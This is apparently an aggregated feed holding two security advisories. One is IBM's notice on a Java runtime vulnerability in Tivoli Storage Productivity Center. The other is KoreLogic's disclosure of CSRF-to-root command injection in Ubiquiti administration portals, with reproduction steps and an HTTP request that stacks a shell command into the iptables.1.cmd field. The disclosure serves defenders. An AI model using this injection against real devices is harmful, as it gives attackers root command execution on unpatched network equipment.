There are multiple vulnerabilities in IBM® Runtime Environment Java™ Version 6.0.16.21 and earlier that is shipped with Tivoli Storage Productivity Center for download and use with its Java WebStart GUI. These issues were disclosed as part of the IBM Java SDK updates in April 2016.
CVE(s): CVE-2016-0363
Affected product(s) and affected version(s):
IBM® Runtime Environment Java™ Technology Edition, Version 6.0.16.21 and earlier that is provided for download and use with the Java WebStart GUI from the following versions:
- Tivoli Storage Productivity Center 5.2.0 through 5.2.7.1
- Tivoli Storage Productivity Center 5.1.0 through 5.1.1.10
- Tivoli Storage Productivity Center 4.2.0 through 4.2.2.195
The versions listed above apply to all licensed offerings of Tivoli Storage Productivity Center, including IBM SmartCloud Virtual Storage Center Storage Analytics Engine.
System Storage Productivity Center is affected if it has one of the versions listed above installed.
Note:
The Tivoli Storage Productivity Center server component is not directly affected. However, the affected versions listed above provide an interface to download the affected IBM® Runtime Environment Java™ Technology Edition. It you did not download and install this IBM® Runtime Environment Java™ Technology Edition on any systems, such as is required for the Tivoli Storage Productivity Center GUI that launches using Java WebStart, you are not affected and do not need to apply a fix.
Starting with IBM Spectrum Control 5.2.8, the IBM Runtime Environment Java Technology Edition is not included and IBM Spectrum Control is not affected.

KL-001-2016-002 : Ubiquiti Administration Portal CSRF to Remote Command Execution
Title: Ubiquiti Administration Portal CSRF to Remote Command Execution
Advisory ID: KL-001-2016-002
Publication Date: 2016.06.28
Publication URL: http://ift.tt/29lwYW0
1. Vulnerability Details
Affected Vendor: Ubiquiti
Affected Product: AirGateway, AirFiber, mFi
Affected Version: 1.1.6, 3.2, 2.1.11
Platform: Embedded Linux
CWE Classification: CWE-352: Cross-Site Request Forgery (CSRF);
CWE-77: Improper Neutralization of Special Elements
used in a Command ('Command Injection')
Impact: Arbitrary Code Execution
Attack vector: HTTP
2. Vulnerability Description
The Ubiquiti AirGateway, AirFiber and mFi platforms feature
remote administration via an authenticated web-based portal.
Lack of CSRF protection in the Remote Administration Portal,
and unsafe passing of user input to operating system commands
exectuted with root privileges, can be abused in a way that
enables remote command execution.
3. Technical Description
The firmware files analyzed were
AirGWP.v1.1.6.28062.150731.1520.bin, AF24.v3.2.bin, and
firmware.bin respectively.
The MD5 hash values for the vulnerable files served by the
administration portal are:
AirGateway b45fe8e491d62251f0a7a100c636178a /usr/www/system.cgi
AirFiber d8926f7f65a2111f4036413f985082b9 /usr/www/system.cgi
mFi 960e8f6e507b227dbc4b65fc7a7036bc /usr/www/system.cgi
The firmware file contains a LZMA compressed, squashfs
partition. The binaries running on the embedded device are
compiled for a MIPS CPU. The device can be easily virtualized
using QEMU:
Example: sudo /usr/sbin/chroot . ./qemu-mips-static /usr/sbin/lighttpd
-f /etc/lighttpd/lighttpd.conf
The administration portal does not issue a randomized CSRF
token either per session, page, or request. Administration
authorization is solely based on cookie control. Therefore,
it is possible to embed JavaScript into an HTML page so when
an administrator is socially engineered into visiting the page,
the target device will be accessed with privileges.
Device configuration POST parameters include tokens passed to
operating system commands run as root in unsafe ways with
insufficient input sanitization. Command injection is possible
by stacking shell commands in parameters such as
iptables.1.cmd.
In order for a developer to recreate this discovery, the
following instructions should be duplicated.
a. Authenticate to the target web application and navigate to the
SYSTEM page.
b. Download the current configuration.
c. Open the configuration in an editor of your choice, navigate to the
line containing: iptables.1.cmd=-A FIREWALL -j ACCEPT
d. Append the following onto that line: ;touch /var/tmp/csrf-to-rce.txt
e. Save the changes, and submit the modified configuration. Apply the
changes using apply.cgi afterward.
Example:
POST /system.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:43.0)
Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;
q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ift.tt/291MlnH
Cookie: ui_language=en_US; last_check=1452020493426;
AIROS_SESSIONID=e5f61a5c0a9d0690b4efd484e56b8c93

Content-Type: multipart/form-data;

Content-Length: 7204
...
iptables.1.cmd=-A FIREWALL -j ACCEPT; touch /var/tmp/csrf-to-rce.txt
...
GET /apply.cgi?testmode=&_=[redacted] HTTP/1.1
Host: 192.168.1.1
X-Requested-With: XMLHttpRequest
Referer: http://ift.tt/291MlnH
Cookie: ui_language=en_US; last_check=1452020493426;
AIROS_SESSIONID=e5f61a5c0a9d0690b4efd484e56b8c93
Connection: keep-alive
f. Change your IP address, but ensure continued routing to the target web
application. Incrementing the last octet is sufficient.
g. Open the configuration in an editor of your choice, navigate to the
modified line and alter it: ;touch /var/tmp/csrf-to-rce-newsrc.txt
h. Repeat step 5 from the new IP address. You will receive the same
response. Apply the changes using the apply.cgi file.
i. Login to the target device using SSH or telnet, navigate to /var/tmp
and type ls.
j. You'll discover both files exist.
4. Mitigation and Remediation Recommendation
At this time there is no vendor patch for this vulnerability.
The vendor was unable or unwilling to communicate an expected release
date for a proper mitigation.
